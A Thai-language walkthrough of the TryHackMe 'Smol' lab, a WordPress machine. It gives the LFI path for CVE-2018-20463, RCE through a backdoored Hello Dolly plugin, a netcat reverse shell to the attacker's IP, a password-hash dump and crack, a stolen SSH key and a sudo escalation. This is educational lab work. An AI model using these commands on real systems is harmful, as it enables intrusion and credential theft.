[THM Smol write up]

Linux boot to root machine

ก่อนจะไปเริ่มทำต้องดูคำอธิบายของโจทย์ข้อนี้กันก่อน

At the heart of Smol is a WordPress website, a common target due to its extensive plugin ecosystem. The machine showcases a publicly known vulnerable plugin, highlighting the risks of neglecting software updates and security patches. Enhancing the learning experience, Smol introduces a backdoored plugin, emphasizing the significance of meticulous code inspection before integrating third-party components.
Quick Tips: Do you know that on computers without GPU like the AttackBox, John The Ripper is faster than Hashcat?

โอเคค มาเริ่มกันเลย ทำการ Nmap เพื่อดู Port ที่เปิดอยู่

┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -sV -T5 10.201.60.166
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-06 15:57 +07
Nmap scan report for 10.201.60.166
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.66 seconds

มี port 80 เปิดอยู่ซึ่งเป็น port ของ service http จึงทำการเข้าไปที่เว็บไซต์ http://10.201.60.166/ Alt text ทำการเพิ่ม host นี้ไปที่ไฟล์ /etc/hosts

10.201.60.166   www.smol.thm

Alt text หลังจากเข้าเว็บมาแล้วทำการสำรวจเว็บจะเห็นว่าในส่วน footer ของเว็บจะมีการเขียนบอกไว้ว่า Proudly powered by WordPress ซึ่งจริงๆในคำอธิบายของโจทย์ก็ได้บอกไว้แล้ว 😂 เราจึงใช้คำสั่ง wpscan สำหรับ scan หาช่องโหว่ของเว็บ wordpress โดยเฉพาะ

┌──(kali㉿kali)-[~/Downloads]
└─$ wpscan --url http://www.smol.thm/        
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
                               
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://www.smol.thm/ [10.201.60.166]
[+] Started: Wed Aug  6 16:31:39 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://www.smol.thm/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://www.smol.thm/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://www.smol.thm/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://www.smol.thm/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.7.1 identified (Outdated, released on 2024-11-21).
 | Found By: Rss Generator (Passive Detection)
 |  - http://www.smol.thm/index.php/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>
 |  - http://www.smol.thm/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>

[+] WordPress theme in use: twentytwentythree
 | Location: http://www.smol.thm/wp-content/themes/twentytwentythree/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://www.smol.thm/wp-content/themes/twentytwentythree/readme.txt
 | [!] The version is out of date, the latest version is 1.6
 | [!] Directory listing is enabled
 | Style URL: http://www.smol.thm/wp-content/themes/twentytwentythree/style.css
 | Style Name: Twenty Twenty-Three
 | Style URI: https://wordpress.org/themes/twentytwentythree
 | Description: Twenty Twenty-Three is designed to take advantage of the new design tools introduced in WordPress 6....
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://www.smol.thm/wp-content/themes/twentytwentythree/style.css, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] jsmol2wp
 | Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
 | Latest Version: 1.07 (up to date)
 | Last Updated: 2018-03-09T10:28:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.07 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:09 <=====================================================================================================> (137 / 137) 100.00% Time: 00:00:09

[i] No Config Backups Found.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Wed Aug  6 16:32:00 2025
[+] Requests Done: 187
[+] Cached Requests: 5
[+] Data Sent: 45.648 KB
[+] Data Received: 22.48 MB
[+] Memory used: 263.156 MB
[+] Elapsed time: 00:00:20

ซึ่งช่องโหว่ส่วนใหญ่ก็จะมากับ plugin นี่แหละซึ่งหลังจาก scan ดูแล้วพบว่ามี plugin ที่พบคือ jsmol2wp version 1.07 จึงได้เอาชื่อ plugin และ version ไป search ใน google

ซึ่งก็เจอจริงๆแต่ก็เจอหลายช่องโหว่แต่ ช่องโหว่ที่ใช้ได้จะเป็นตัว CVE-2018-20463 ก็คือช่องโหว่นี้สามารถทำให้เกิด LFI (Local File Inclusion) ได้โดยการเติม

{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

เข้าไปซึ่งในที่นี้จะเข้าไปอ่านไฟล์ wp-config.php เพื่อเข้าไปดู sensitive data ต่างๆ (จริงๆก็คือใน POC ของช่องโหว่นี้เขาใส่ไว้แบบนี้ก็เลยใส่ตามไปเฉยๆ 😅)

Alt text

แล้วก็เจอ username กับ password ที่ hardcode เอาไว้จริงๆ 🤩 ซึ่งในตอนที่ผมสำรวจเว็บนี้มันก็มีหน้าสำหรับ login เพื่อ login เข้าไปยัง dashboard ของ wordpress ผมเลยเอา username และ password อันนี้แหละไปใส่ดู Alt text Alt text

หลังจาก login เข้าเสร็จแล้วเราจะสามารถเข้าไปดูในหน้าของ wp-admin ได้โดยผมก็ได้สำรวจเหมือนเดิมในทุกๆหน้าแต่มีหน้านึงที่น่าสงสัย Alt text Alt text

ซึ่งหน้านี้ถูกเขียนโดยแอดมินซึ่งเป็นเหมือน task ของ user นี้ว่าต้องทำอะไรบ้างแต่มันจะมีอยู่ไม่กี่ข้อที่มันมีคำว่า important โดยเฉพาะอันแรกที่ให้เช็ค source code ของ plugin Hello dolly ผมก็เลยไปถาม chat ว่า plugin Hello Dolly ใน wordpress คืออะไร Alt text

ดังนั้นจาก task ที่ admin บอกให้ไปเช็ค source code ของ hello dolly plugin ก็คือเราต้องไปหาไฟล์ hello.php เพราะตามที่ chat บอกคือ plugin นี้ประกอบไปด้วยไฟล์นี้ไฟล์เดียว

ซึ่งจากช่องโหว่ของ plugin แรกที่ทำให้เราใช้ LFI ได้ เราจึงจะใช้ประโยชน์จากช่องโหว่นี้ต่อในการดู source code ของไฟล์ hello.php โดยการลองเปลี่ยน path ไปเรื่อยๆเพราะเราไม่รู้ตำแหน่งของไฟล์ hello.php โดยผมจะเริ่มจากการลบ ../ ไปเรื่อยๆ แต่ลบไปแค่นิดเดียวเองก็เจอละ ซึ่งจะอยู่ใน path ../../hello.php

http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../hello.php

Alt text พอเข้ามาจะเห็นเป็น source code ของไฟล์ hello.php ซึ่งจะมีจุดที่น่าสนใจอยู่คือมีข้อความอันนึงที่ถูก encode เป็น base64 เลยเอาไป decode ใน Cyberchef

Alt text

มันคืออารายวะะ ผมจึงโยนเข้า chat เพื่อความรวดเร็วในการทำ 😉 Alt text

โป๊ะเช๊ะ เจอตอ สรุปก็คือตามแชทบอกเลยครับ 🤓 ซึ่งเราก็สามารถใช้ช่องโหว่นี้ในการทำ RCE เพื่อรันคำสั่ง reverse shell เข้าเครื่องของเหยื่อได้ เริ่มแรกในเครื่องเราจะต้องรันคำสั่งเพื่อเปิด port รอให้เหยื่อ connect เข้ามา

┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 9001
listening on [any] 9001 ...

โดยผมจะใช้เว็บ revshells.com ในการ gen คำสั่งสำหรับการ reverse shell หลังจากลองหลายคำสั่งผมก็ได้คำสั่งที่สามารถทำให้เหยื่อ connect กลับมาได้แล้วโดยใช้

http://www.smol.thm/wp-admin/?cmd=busybox nc 10.23.113.8 9001 -e sh

Alt text

จากนั้นผมจะทำการ spawn /bin/bash เพื่อความสะดวกในการใช้งาน

which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@ip-10-201-21-103:/var/www/wordpress/wp-admin$ 

โดยผมจะเช็คก่อนว่าเครื่อง server นี้ได้ลง python ไว้มั้ยพอรู้ว่ามี python ก็ทำการใช้ command python ในการ spawn /bin/bash

ต่อมาผมทำการเช็ค user ว่ามี user อะไรบ้างในเครื่องนี้โดยใช้คำสั่ง

cat /etc/passwd

Alt text

จะเห็นว่ามีอยู่หลาย user เลยแต่สิ่งที่น่าค้นหากว่านั้นคือมี database mysql อยู่ผมเลยลอง login เข้า mysql ด้วย username กับ password ที่เจอจากช่องโหว่แรกดู

www-data@ip-10-201-60-166:/var/www/wordpress/wp-admin$ mysql -u wpuser -p
mysql -u wpuser -p
Enter password: kbLSF2Vop#lw3rjDZ629*Z%G     

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 21
Server version: 8.0.42-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

แล้วก็ได้จริงด้วย ผมเลยลองดูใน database ต่างๆ แล้วก็ไปเจอ table wp_user ใน wordpress database Alt text เราจะได้รหัสของ user ต่างๆมาแต่รหัสเหล่านี้มันถูกเข้ารหัสไว้ซึ่งมันก็คือการเข้ารหัสแบบ MD5 พร้อมการ salt ด้วย algorithm Portable PHP password hashing framework (phpass) ผมเลยก็อปรหัสทั้งหมด (ยกเว้น wpuser) ไปใส่ไว้ในไฟล์ hash.txt

┌──(kali㉿kali)-[~/Downloads]
└─$ echo '$P$BH.CF15fzRj4li7nR19CHzZhPmhKdX.                                   
$P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/
$P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1
$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
$P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1' > hash.txt
                                                                                                                                                                                    
┌──(kali㉿kali)-[~/Downloads]
└─$ cat hash.txt 
$P$BH.CF15fzRj4li7nR19CHzZhPmhKdX.
$P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/
$P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1
$P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1
$P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1

และจากนั้นผมจะใช้ john ในการ crack รหัสโดยใช้ format เป็น phpass และใช้ wordlist เป็น rockyou.txt

john --format=phpass --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

หลังจากรอไปสักพักก็ crack ได้สำเร็จ Alt text

ซึ่งถ้าดูจาก password แล้วก็พอจะเดาได้ว่าเป็นของ user คนไหน 😅 Alt text แล้วก็ได้ user flag แล้วต่อเรายังเหลือ root flag อีกไปกันต่อออ จากนั้นผมทำการไปสำรวจไฟล์ต่างๆของ user คนอื่นๆจนมาเจอกับไฟล์ id_rsa ของ user think ใน path /home/think/.ssh Alt text ซึ่งเราสามารถใช้ private key นี้ ssh เข้าเครื่องด้วย user think ได้โดยไม่ต้องใส่รหัสนั่นเอง ผมได้ก็อปเนื้อหาในไฟล์ id_rsa ออกมาใส่ใน id_rsa_think ในเครื่องผมและใช้คำสั่ง Alt text จากนั้นผมก็ไปเจอไฟล์ wordpress.old.zip ใน path /home/gege ผมจึงทำการโหลดมันมาที่เครื่องของผมเพราะผมไม่สามารถ unzip ได้เพราะติด permission ผมเลยจะมา unzip ในเครื่องผมเอง แต่ผมลืมไปว่าตอนนี้ผมเป็น user think อยู่มันจึงไม่มีไฟล์ wordpress.old.zip ผมเลยเหลือทางเดียวคือต้องเป็น user gege ให้ได้ผมเลยลอง su gege ดูปรากฏว่าไม่ติด password 😑 ผมเลยทำการ unzip ทันที Alt text แต่ก็มาติด password ตอน unzip อยู่ดี 🥲 สุดท้ายก็ต้องโหลดมาลงเครื่องตัวเองแล้วใช้ zip2john ในการดึงค่า hash password ออกมาจากไฟล์ zip และ ต่อด้วย john ในการ crack hash password Alt text หลังจาก unzip มาแล้วผมก็เข้าไปดูข้างในไฟล์และไปเจอกับ wp-config.php เจ้าเก่าเจ้าเดิมเลย cat ดูเนื้อหาข้างใน Alt text ผมจึง su xavi ด้วย password ที่เจอเมื่อกี้ ทำให้ตอนนี้เราได้ user แทบจะทุกคนแล้วแต่ยังไม่ได้ root เลย ผมเลยใช้ sudo -l เพื่อดูว่า user xavi สามารถ sudo อะไรได้บ้าง Alt text 🤨🤩 ตามนั้นครับ55555555 Alt text ได้ root flag แล้วววววววว

ขอบคุณทุกคนที่อ่านมาถึงตรงนี้นะครับยาวนิดหน่อยเพราะผมเก็บทุกเม็ด 😅 ก็จบไปแล้วนะครับสำหรับ machine smol ผมมองว่าข้อนี้เหมาะสำหรับมือใหม่ที่พึ่งหัดเล่น boot to root เครื่อง linux มากๆเป็นข้อที่ไม่ยากเกินไปแต่อาจจะเสียเวลากับการ crack hash ไปนิดนึงแต่โดยรวมถือว่าสนุกเลยครับ

[RELATED POSTS]